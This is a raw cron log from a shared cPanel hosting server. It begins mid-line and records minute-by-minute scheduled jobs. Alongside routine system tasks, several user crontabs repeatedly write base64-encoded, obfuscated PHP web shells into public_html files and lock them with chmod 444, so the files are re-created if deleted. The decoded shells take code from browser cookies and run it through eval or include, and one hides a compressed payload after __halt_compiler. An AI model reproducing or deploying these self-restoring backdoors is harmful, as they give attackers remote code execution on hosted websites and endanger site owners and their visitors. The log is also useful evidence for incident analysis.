JHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:18:01 medusa CROND[17378]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:18:02 medusa CROND[17426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:18:02 medusa CROND[17427]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Apr 19 05:18:02 medusa CROND[17429]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:18:02 medusa CROND[17428]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 05:18:02 medusa CROND[17432]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:18:02 medusa CROND[17433]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:18:02 medusa CROND[17435]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:18:02 medusa CROND[17436]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 05:18:02 medusa CROND[17437]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:18:02 medusa CROND[17438]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:18:02 medusa CROND[17439]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:18:02 medusa CROND[17434]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:18:02 medusa CROND[17443]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:19:01 medusa CROND[8838]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:19:01 medusa CROND[8839]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 05:19:01 medusa CROND[8840]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:19:01 medusa CROND[8841]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:19:01 medusa CROND[8842]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:19:01 medusa CROND[8846]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:19:01 medusa CROND[8848]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:19:01 medusa CROND[8850]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:19:01 medusa CROND[8851]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:19:01 medusa CROND[8852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:19:01 medusa CROND[8853]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:19:01 medusa CROND[8865]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:20:01 medusa CROND[32101]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 19 05:20:01 medusa CROND[32111]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:20:02 medusa CROND[32197]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:20:02 medusa CROND[32261]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 05:20:02 medusa CROND[32263]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 05:20:02 medusa CROND[32264]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 05:20:02 medusa CROND[32266]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:20:02 medusa CROND[32269]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Apr 19 05:20:02 medusa CROND[32270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
